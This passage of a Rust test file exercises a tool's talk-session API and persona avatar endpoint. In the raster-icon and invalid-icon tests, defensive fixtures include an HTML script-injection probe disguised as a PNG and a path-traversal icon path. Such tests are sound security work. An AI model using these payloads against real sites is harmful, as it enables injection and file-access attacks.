10244 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10245
10246 let Json(view) = call("second").await.expect("switch");
10247 assert_eq!(view.talk.agent, "second");
10248 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10249 let saved = talks.get(&id).expect("reload");
10250 assert_eq!(saved.agent, "second");
10251 assert_eq!(saved.turns.len(), 1);
10252 assert!(!view.thinking);
10253 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10254 for agent in ["mock", "second"] {
10255 let Json(view) = call(agent).await.expect("immediate consecutive change");
10256 assert_eq!(view.talk.agent, agent);
10257 assert!(!view.thinking);
10258 assert!(!ui.is_thinking(&id));
10259 }
10260
10261 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10262 .await
10263 .expect("detail");
10264 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10265 assert_eq!(roster, ["mock", "second"]);
10266
10267 let mut closed = talks.get(&id).expect("reload");
10268 talk::close(&mut closed, &talks).expect("close");
10269 let refused = call("mock").await.expect_err("closed talk");
10270 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10271 assert!(
10272 refused.message.contains("takes no more turns"),
10273 "{}",
10274 refused.message
10275 );
10276 }
10277
10278 #[tokio::test]
10279 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10280 let tmp = TempDir::new().expect("tempdir");
10281 let repo = tmp.path().join("repo");
10282 std::fs::create_dir_all(&repo).expect("repo dir");
10283 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10284 let home = TempDir::new().expect("temp home");
10285 let talks = Talks::at(home.path().join("talks"));
10286 let ui = Arc::new(
10287 Ui::new(
10288 Queue::at(home.path().join("queue")),
10289 Questions::at(home.path().join("questions")),
10290 talks.clone(),
10291 home.path().join("runs"),
10292 home.path().to_path_buf(),
10293 repo.clone(),
10294 )
10295 .with_worktrees_root(home.path().join("wt")),
10296 );
10297 let cfg = config_for(&repo).await.expect("discover config");
10298 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10299 let id = talk.id.clone();
10300 let call = |n: u8| {
10301 talk_implementers(
10302 State(Arc::clone(&ui)),
10303 Path(id.clone()),
10304 Json(TalkImplementers { implementers: n }),
10305 )
10306 };
10307
10308 for bad in [0u8, 4] {
10309 let e = call(bad).await.expect_err("out of range");
10310 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10311 }
10312 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10313
10314 {
10315 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10318 let busy = call(2).await.expect_err("busy talk");
10319 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10320 assert!(
10321 busy.message.contains("a talk turn is running"),
10322 "{}",
10323 busy.message
10324 );
10325 drop(guard);
10326 }
10327
10328 let Json(view) = call(3).await.expect("switch");
10329 assert_eq!(view.talk.implementers, 3);
10330 assert!(talks.get(&id).expect("reload").implementers_dirty);
10331 assert!(!view.thinking);
10332 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10333 for n in [1, 2, 3] {
10334 let Json(view) = call(n).await.expect("immediate consecutive change");
10335 assert_eq!(view.talk.implementers, n);
10336 assert!(!view.thinking);
10337 assert!(!ui.is_thinking(&id));
10338 }
10339
10340 let mut closed = talks.get(&id).expect("reload");
10341 talk::close(&mut closed, &talks).expect("close");
10342 let e = call(2).await.expect_err("closed talk");
10343 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10344 assert!(e.message.contains("takes no more turns"), "{}", e.message);
10345 }
10346
10347 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10349 let tmp = TempDir::new().expect("tempdir");
10350 let repo = tmp.path().join("repo");
10351 std::fs::create_dir_all(&repo).expect("repo dir");
10352 std::fs::write(
10353 repo.join("magi.toml"),
10354 format!("{MOCK_AGENT_TOML}\n{extra}"),
10355 )
10356 .expect("write magi.toml");
10357 let home = TempDir::new().expect("temp home");
10358 let talks = Talks::at(home.path().join("talks"));
10359 let ui = Arc::new(
10360 Ui::new(
10361 Queue::at(home.path().join("queue")),
10362 Questions::at(home.path().join("questions")),
10363 talks.clone(),
10364 home.path().join("runs"),
10365 home.path().to_path_buf(),
10366 repo.clone(),
10367 )
10368 .with_worktrees_root(home.path().join("wt")),
10369 );
10370 let cfg = config_for(&repo).await.expect("discover config");
10371 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10372 (tmp, home, ui, talk.id, repo)
10373 }
10374
10375 async fn avatar(
10377 ui: &Arc<Ui>,
10378 id: &str,
10379 persona: Option<&str>,
10380 builtin: bool,
10381 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10382 let res = talk_avatar(
10383 State(Arc::clone(ui)),
10384 Path(id.to_owned()),
10385 Query(AvatarQuery {
10386 persona: persona.map(str::to_owned),
10387 builtin: builtin.then(|| "1".to_owned()),
10388 }),
10389 )
10390 .await
10391 .expect("an avatar is never an error response");
10392 let h = res.headers();
10393 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10394 let nosniff = h
10395 .get(header::X_CONTENT_TYPE_OPTIONS)
10396 .is_some_and(|v| v == "nosniff");
10397 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10398 let status = res.status();
10399 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10400 .await
10401 .expect("body")
10402 .to_vec();
10403 (status, ct, nosniff, csp, body)
10404 }
10405
10406 fn tiny_png() -> Vec<u8> {
10407 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10408 b.extend_from_slice(&[0u8; 32]);
10409 b
10410 }
10411
10412 #[tokio::test]
10413 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
10414 let res = operator_avatar().await;
10415 assert_eq!(res.status(), StatusCode::OK);
10416 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
10417 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
10418 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
10419 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
10420 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10421 .await
10422 .unwrap();
10423 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
10424 assert_ne!(
10425 persona_icon::operator_svg(),
10426 persona_icon::builtin_svg("default")
10427 );
10428 }
10429
10430 #[tokio::test]
10431 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10432 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10433 for p in [
10434 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10435 ] {
10436 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10437 assert_eq!(status, StatusCode::OK, "{p}");
10438 assert_eq!(ct, "image/svg+xml", "{p}");
10439 assert!(nosniff && csp, "{p}");
10440 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10441 }
10442 let own = avatar(&ui, &id, None, false).await;
10444 let default = avatar(&ui, &id, Some("default"), false).await;
10445 assert_eq!(own.4, default.4);
10446 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10447 assert_eq!(unknown.1, "image/svg+xml");
10448 }
10449
10450 #[tokio::test]
10451 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10452 let dir = TempDir::new().expect("icons");
10453 let good = dir.path().join("good.png");
10454 std::fs::write(&good, tiny_png()).unwrap();
10455 let spoof = dir.path().join("spoof.png");
10456 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10457 let big = dir.path().join("big.png");
10458 let mut bytes = tiny_png();
10459 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10460 std::fs::write(&big, bytes).unwrap();
10461 let missing = dir.path().join("missing.png");
10462 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10463 let extra = format!(
10464 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10465 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10466 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10467 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10468 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10469 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10470 uri(&good),
10471 uri(&spoof),
10472 uri(&big),
10473 uri(&missing),
10474 );
10475 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10476
10477 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10478 assert_eq!(
10479 (status, ct.as_str(), nosniff),
10480 (StatusCode::OK, "image/png", true)
10481 );
10482 assert_eq!(body, tiny_png());
10483 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10484 assert_eq!(ct, "image/png", "data URI");
10485
10486 for p in ["misato", "asuka", "shinji", "magi"] {
10487 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10488 assert_eq!(
10489 (status, ct.as_str(), csp),
10490 (StatusCode::OK, "image/svg+xml", true),
10491 "{p}"
10492 );
10493 assert!(body.starts_with(b"<svg"), "{p}");
10494 }
10495 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10497 assert_eq!(ct, "image/svg+xml");
10498 }
10499
10500 #[tokio::test]
10501 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10502 let oversized = format!(
10503 "data:image/png;base64,{}",
10504 "A".repeat(persona_icon::ICON_MAX_BYTES)
10505 );
10506 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10507 let extra = format!(
10508 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10509 );
10510 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10511 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10512 .await
10513 .expect("detail with invalid icon");
10514 assert!(detail.personas.iter().any(|p| p.id == "custom"));
10515 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10516 assert_eq!(status, StatusCode::OK);
10517 assert_eq!(ct, "image/svg+xml");
10518 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10519 let Json(view) = talk_persona(
10520 State(Arc::clone(&ui)),
10521 Path(id.clone()),
10522 Json(TalkPersona {
10523 persona: "custom".into(),
10524 }),
10525 )
10526 .await
10527 .expect("persona switch with invalid icon");
10528 assert_eq!(view.talk.persona, "custom");
10529 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10530 }
10531 }
10532
10533 #[tokio::test]
10534 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10535 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10536 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10537 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10538 assert_eq!(
10539 (status, ct.as_str(), nosniff, csp),
10540 (StatusCode::OK, "image/svg+xml", true, true)
10541 );
10542 }
10543
10544 #[tokio::test]
10545 async fn the_talk_view_carries_server_built_avatar_urls_only() {
10546 let (_t, _h, ui, id, _repo) =
10547 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10548 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10549 .await
10550 .expect("detail");
10551 let json = serde_json::to_string(&detail).unwrap();
10552 assert!(
10553 !json.contains("secret"),
10554 "the icon setting must not leak: {json}"
10555 );
10556 assert!(
10557 detail
10558 .view
10559 .persona_avatar
10560 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10561 );
10562 assert_eq!(
10563 detail.view.operator_avatar,
10564 format!(
10565 "/avatars/operator.svg?v={}",
10566 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
10567 )
10568 );
10569 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
10570 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10571 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10572 assert!(rei.avatar.contains("persona=rei&v="));
10573 assert_ne!(
10574 rei.avatar.split("&v=").nth(1),
10575 plain.avatar.split("&v=").nth(1)
10576 );
10577 }
10578
10579 #[tokio::test]
10580 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
10581 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10582 let cfg = config_for(&repo).await.unwrap();
10583 for arrived in [false, true] {
10584 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
10585 let observed = ui.queued_generation(&id);
10586 let talk = ui.talks.get(&id).unwrap();
10587 if arrived {
10588 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
10589 }
10590 let mut settling = std::pin::pin!(settle_settings_turn(
10591 talk,
10592 ui.talks.clone(),
10593 cfg.clone(),
10594 id.clone(),
10595 turn,
10596 observed
10597 ));
10598 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
10599 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
10600 assert_eq!(first.is_pending(), arrived);
10601 if arrived {
10602 assert!(!settling.await);
10603 }
10604 assert!(!ui.is_thinking(&id));
10605 }
10606 }
10607
10608 #[tokio::test]
10609 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10610 let tmp = TempDir::new().expect("tempdir");
10611 let repo = tmp.path().join("repo");
10612 std::fs::create_dir_all(&repo).expect("repo dir");
10613 std::fs::write(
10614 repo.join("magi.toml"),
10615 format!(
10616 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10617 ),
10618 )
10619 .expect("write magi.toml");
10620 let home = TempDir::new().expect("temp home");
10621 let talks = Talks::at(home.path().join("talks"));
10622 let ui = Arc::new(
10623 Ui::new(
10624 Queue::at(home.path().join("queue")),
10625 Questions::at(home.path().join("questions")),
10626 talks.clone(),
10627 home.path().join("runs"),
10628 home.path().to_path_buf(),
10629 repo.clone(),
10630 )
10631 .with_worktrees_root(home.path().join("wt")),
10632 );
10633 let cfg = config_for(&repo).await.expect("discover config");
10634 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10635 let id = talk.id.clone();
10636 let call = |persona: &str| {
10637 talk_persona(
10638 State(Arc::clone(&ui)),
10639 Path(id.clone()),
10640 Json(TalkPersona {
10641 persona: persona.to_owned(),
10642 }),
10643 )
10644 };
10645
10646 let unknown = call("nobody").await.expect_err("unknown persona");
10647 assert_eq!(
10648 unknown.status,
10649 StatusCode::BAD_REQUEST,
10650 "{}",
10651 unknown.message
10652 );
10653
10654 {
10655 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10658 let busy = call("rei").await.expect_err("busy talk");
10659 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10660 assert!(
10661 busy.message.contains("a talk turn is running"),
10662 "{}",
10663 busy.message
10664 );
10665 drop(guard);
10666 }
10667 assert_eq!(talks.get(&id).expect("reload").persona, "");
10668
10669 let Json(view) = call("gendo").await.expect("switch to a configured persona");
10670 assert_eq!(view.talk.persona, "gendo");
10671 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10672 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10673 for chosen in ["default", "gendo", "rei", "gendo"] {
10675 let Json(view) = call(chosen).await.expect("immediate consecutive change");
10676 assert!(!view.thinking);
10677 assert!(!ui.is_thinking(&id));
10678 }
10679
10680 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10681 .await
10682 .expect("detail");
10683 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10684 assert_eq!(ids.first(), Some(&"default"));
10685 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10686
10687 let Json(view) = call("default").await.expect("back to default");
10688 assert_eq!(view.talk.persona, "");
10689
10690 let mut closed = talks.get(&id).expect("reload");
10691 talk::close(&mut closed, &talks).expect("close");
10692 let refused = call("rei").await.expect_err("closed talk");
10693 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10694 assert!(
10695 refused.message.contains("takes no more turns"),
10696 "{}",
10697 refused.message
10698 );
10699 }
10700
10701 #[tokio::test]
10702 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10703 let f = Fixture::start().await;
10704 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10705 let queue = f.queue();
10706 let mut mine = Task::new(
10707 "rename the loader".to_owned(),
10708 "rename the loader".to_owned(),
10709 PathBuf::from("/repo/magi"),
10710 Source::Agent {
10711 run: talk_id.clone(),
10712 node: "chat".to_owned(),
10713 },
10714 );
10715 queue.put(&mut mine).expect("file the task");
10716 let mut theirs = Task::new(
10717 "unrelated".to_owned(),
10718 "unrelated".to_owned(),
10719 PathBuf::from("/repo/magi"),
10720 Source::Human,
10721 );
10722 queue.put(&mut theirs).expect("file the task");
10723
10724 let res = f.get(&format!("/api/talks/{talk_id}")).await;
10725 assert_eq!(res.status, 200, "{}", res.body);
10726 let body = res.json();
10727 assert_eq!(
10728 body["status"], "open",
10729 "filing a task does not close a talk"
10730 );
10731 let tasks = body["tasks"].as_array().expect("tasks array");
10732 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
10733 assert_eq!(tasks[0]["id"], mine.id);
10734 }
10735
10736 #[tokio::test]
10737 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
10738 let (_tmp, _repo, f) = talk_fixture().await;
10739 let id = f.post("/api/talks", None).await.json()["id"]
10740 .as_str()
10741 .expect("id")
10742 .to_owned();
10743
10744 let res = f
10745 .post(
10746 &format!("/api/talks/{id}/say"),
10747 Some(r#"{"text":"what does the queue module do?"}"#),
10748 )
10749 .await;
10750 assert_eq!(res.status, 202, "{}", res.body);
10751 let queued = res.json();
10752 let turns = queued["turns"].as_array().expect("turns array");
10753 assert_eq!(
10754 turns.len(),
10755 1,
10756 "the answer reflects only what is on disk the instant it is sent, \
10757 before the agent's turn - which can run for the whole of \
10758 `[graph] timeout_talk` - has a chance to land: {queued}"
10759 );
10760 assert_eq!(turns[0]["who"], "operator");
10761 assert_eq!(turns[0]["body"], "what does the queue module do?");
10762 assert_eq!(
10763 queued["thinking"], true,
10764 "the accepted response exposes the background turn claim: {queued}"
10765 );
10766
10767 let mut turns_after = 1;
10768 for _ in 0..SETTLE_STEPS {
10769 let detail = f.get(&format!("/api/talks/{id}")).await.json();
10770 turns_after = detail["turns"].as_array().expect("turns array").len();
10771 if turns_after == 2 {
10772 break;
10773 }
10774 tokio::time::sleep(Duration::from_millis(10)).await;
10775 }
10776 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
10777 }
10778
10779 #[tokio::test]
10806 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
10807 let tmp = TempDir::new().expect("tempdir");
10808 let repo = tmp.path().join("repo");
10809 std::fs::create_dir_all(&repo).expect("repo dir");
10810 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10811 let home = TempDir::new().expect("temp home");
10812 let talks = Talks::at(home.path().join("talks"));
10813 let ui = Arc::new(
10814 Ui::new(
10815 Queue::at(home.path().join("queue")),
10816 Questions::at(home.path().join("questions")),
10817 talks.clone(),
10818 home.path().join("runs"),
10819 home.path().to_path_buf(),
10820 repo.clone(),
10821 )
10822 .with_worktrees_root(home.path().join("wt")),
10823 );
10824 let cfg = config_for(&repo).await.expect("discover config");
10825
10826 for delay in 0..40u32 {
10827 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10828 let id = talk.id.clone();
10829
10830 let handler = tokio::spawn(talk_say(
10831 State(Arc::clone(&ui)),
10832 Path(id.clone()),
10833 Ok(Json(NewTalkTurn {
10834 reply_to: None,
10835 text: "what does the queue module do?".to_owned(),
10836 attachments: Vec::new(),
10837 })),
10838 ));
10839 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
10840 handler.abort();
10841 let _ = handler.await;
10844
10845 let mut turns = 0;
10846 for _ in 0..SETTLE_STEPS {
10847 if let Ok(fresh) = talks.get(&id) {
10848 turns = fresh.turns.len();
10849 if turns != 1 {
10850 break;
10851 }
10852 }
10853 tokio::time::sleep(Duration::from_millis(10)).await;
10854 }
10855 assert_ne!(
10856 turns, 1,
10857 "delay {delay}: talk {id} recorded the operator's turn but \
10858 the agent never answered - the reply task was never \
10859 started after the handler future was dropped"
10860 );
10861 }
10862 }
10863
10864 #[tokio::test]
10909 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10910 let tmp = TempDir::new().expect("tempdir");
10911 let repo = tmp.path().join("repo");
10912 std::fs::create_dir_all(&repo).expect("repo dir");
10913 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10914 let home = TempDir::new().expect("temp home");
10915 let talks = Talks::at(home.path().join("talks"));
10916 let ui = Arc::new(
10917 Ui::new(
10918 Queue::at(home.path().join("queue")),
10919 Questions::at(home.path().join("questions")),
10920 talks.clone(),
10921 home.path().join("runs"),
10922 home.path().to_path_buf(),
10923 repo.clone(),
10924 )
10925 .with_worktrees_root(home.path().join("wt")),
10926 );
10927 let cfg = config_for(&repo).await.expect("discover config");
10928
10929 for attempt in 0..3u32 {
10930 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10931 let id = talk.id.clone();
10932 let turn_guard = ui
10935 .begin_talk_turn(&id)
10936 .expect("claim the turn")
10937 .expect("a fresh talk owes nobody a turn");
10938
10939 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10940 let (release_tx, release_rx) = std::sync::mpsc::channel();
10941 ui.set_busy_queue_gate(BusyQueueGate {
10942 reached: reached_tx,
10943 release: release_rx,
10944 });
10945
10946 let handler = tokio::spawn(talk_say(
10947 State(Arc::clone(&ui)),
10948 Path(id.clone()),
10949 Ok(Json(NewTalkTurn {
10950 reply_to: None,
10951 text: "what does the queue module do?".to_owned(),
10952 attachments: Vec::new(),
10953 })),
10954 ));
10955
10956 tokio::time::timeout(Duration::from_secs(5), reached_rx)
10961 .await
10962 .unwrap_or_else(|_| {
10963 panic!(
10964 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10965 )
10966 })
10967 .expect("the busy branch dropped the gate without using it");
10968
10969 let running = talks.get(&id).expect("reload talk");
10976 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10977
10978 handler.abort();
10982 let _ = handler.await;
10983
10984 let _ = release_tx.send(());
10990
10991 let mut fresh = talks.get(&id).expect("reload talk");
10994 for _ in 0..SETTLE_STEPS {
10995 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10996 break;
10997 }
10998 tokio::time::sleep(Duration::from_millis(10)).await;
10999 fresh = talks.get(&id).expect("reload talk");
11000 }
11001 assert!(
11002 fresh.pending.is_empty() && fresh.turns.len() == 2,
11003 "attempt {attempt}: talk {id} left the operator's text queued \
11004 with no drainer - the reclaimed turn was dropped along with \
11005 the handler future (pending {:?}, {} turns)",
11006 fresh.pending,
11007 fresh.turns.len()
11008 );
11009 }
11010 }
11011
11012 #[tokio::test]
11013 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11014 let (_tmp, _repo, f) = talk_fixture().await;
11015 let id = f.post("/api/talks", None).await.json()["id"]
11016 .as_str()
11017 .expect("id")
11018 .to_owned();
11019 let store = f.talks();
11020 let mut recovered = store.get(&id).expect("opened talk");
11021 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11022 .expect("persist pending draft without a live turn");
11023
11024 let edited = f
11025 .post(
11026 &format!("/api/talks/{id}/pending/edit"),
11027 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11028 )
11029 .await;
11030 assert_eq!(edited.status, 200, "{}", edited.body);
11031 assert!(edited.json()["thinking"].as_bool().unwrap());
11032
11033 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11034 for _ in 0..SETTLE_STEPS {
11035 if detail["turns"].as_array().expect("turns").len() == 2 {
11036 break;
11037 }
11038 tokio::time::sleep(Duration::from_millis(10)).await;
11039 detail = f.get(&format!("/api/talks/{id}")).await.json();
11040 }
11041 let turns = detail["turns"].as_array().expect("turns");
11042 assert_eq!(
11043 turns.len(),
11044 2,
11045 "the recovered draft must run once: {detail}"
11046 );
11047 assert_eq!(turns[0]["body"], "corrected");
11048 assert_eq!(detail["pending"], "");
11049 }
11050
11051 #[tokio::test]
11052 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11053 let tmp = TempDir::new().expect("tempdir");
11054 let repo = tmp.path().join("repo");
11055 std::fs::create_dir_all(&repo).expect("repo dir");
11056 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11057 let f = Fixture::with_repo(repo).await;
11058 let id = f.post("/api/talks", None).await.json()["id"]
11059 .as_str()
11060 .expect("id")
11061 .to_owned();
11062 let store = f.talks();
11063 let mut recovered = store.get(&id).expect("opened talk");
11064 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11065 .expect("persist pending draft without a live turn");
11066
11067 let refused = f
11068 .post(
11069 &format!("/api/talks/{id}/say"),
11070 Some(r#"{"text":"new message"}"#),
11071 )
11072 .await;
11073 assert_eq!(refused.status, 409, "{}", refused.body);
11074 assert!(refused.body.contains("resume"), "{}", refused.body);
11075 let saved = store.get(&id).expect("draft remains after refusal");
11076 assert!(saved.turns.is_empty());
11077 assert_eq!(saved.pending, "saved before restart");
11078
11079 let say_path = format!("/api/talks/{id}/say");
11080 let (first, second) = tokio::join!(
11081 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11082 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11083 );
11084 assert_eq!(first.status, 409, "{}", first.body);
11085 assert_eq!(second.status, 409, "{}", second.body);
11086 let saved = store
11087 .get(&id)
11088 .expect("draft remains after concurrent refusals");
11089 assert!(saved.turns.is_empty());
11090 assert_eq!(saved.pending, "saved before restart");
11091
11092 let resumed = f
11093 .post(&format!("/api/talks/{id}/pending/resume"), None)
11094 .await;
11095 assert_eq!(resumed.status, 202, "{}", resumed.body);
11096 let duplicate = f
11097 .post(&format!("/api/talks/{id}/pending/resume"), None)
11098 .await;
11099 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11100
11101 for _ in 0..SETTLE_STEPS {
11102 if store.get(&id).expect("talk").turns.len() == 2 {
11103 break;
11104 }
11105 tokio::time::sleep(Duration::from_millis(10)).await;
11106 }
11107 let finished = store.get(&id).expect("finished talk");
11108 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11109 assert_eq!(finished.turns[0].body, "saved before restart");
11110 assert!(finished.pending.is_empty());
11111 }
11112
11113 #[tokio::test]
11114 async fn an_image_only_recovered_draft_resumes_without_text() {
11115 let (_tmp, _repo, f) = talk_fixture().await;
11116 let id = f.post("/api/talks", None).await.json()["id"]
11117 .as_str()
11118 .expect("id")
11119 .to_owned();
11120 let uploaded = f
11121 .post_bytes(
11122 &format!("/api/talks/{id}/attachments"),
11123 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11124 PNG_BYTES,
11125 )
11126 .await;
11127 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11128 let attachment = f
11129 .talks()
11130 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11131 .expect("attachment metadata")
11132 .expect("stored attachment");
11133 let store = f.talks();
11134 let mut recovered = store.get(&id).expect("opened talk");
11135 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11136
11137 let resumed = f
11138 .post(&format!("/api/talks/{id}/pending/resume"), None)
11139 .await;
11140 assert_eq!(resumed.status, 202, "{}", resumed.body);
11141 for _ in 0..SETTLE_STEPS {
11142 if store.get(&id).expect("talk").turns.len() == 2 {
11143 break;
11144 }
11145 tokio::time::sleep(Duration::from_millis(10)).await;
11146 }
11147 let finished = store.get(&id).expect("finished talk");
11148 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11149 assert!(finished.turns[0].body.is_empty());
11150 assert_eq!(finished.turns[0].attachments.len(), 1);
11151 assert!(finished.pending_attachments.is_empty());
11152 }
11153
11154 #[tokio::test]
11155 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11156 let (_tmp, _repo, f) = talk_fixture().await;
11157 let id = f.post("/api/talks", None).await.json()["id"]
11158 .as_str()
11159 .expect("id")
11160 .to_owned();
11161 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11162 assert_eq!(closed.status, 200, "{}", closed.body);
11163 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11164 .expect("serialize closed talk");
11165 for (path, body) in [
11166 (format!("/api/talks/{id}/pending/resume"), None),
11167 (
11168 format!("/api/talks/{id}/pending/clear"),
11169 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11170 ),
11171 (
11172 format!("/api/talks/{id}/pending/edit"),
11173 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11174 ),
11175 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11176 ] {
11177 let response = f.post(&path, body).await;
11178 assert_eq!(response.status, 409, "{}", response.body);
11179 }
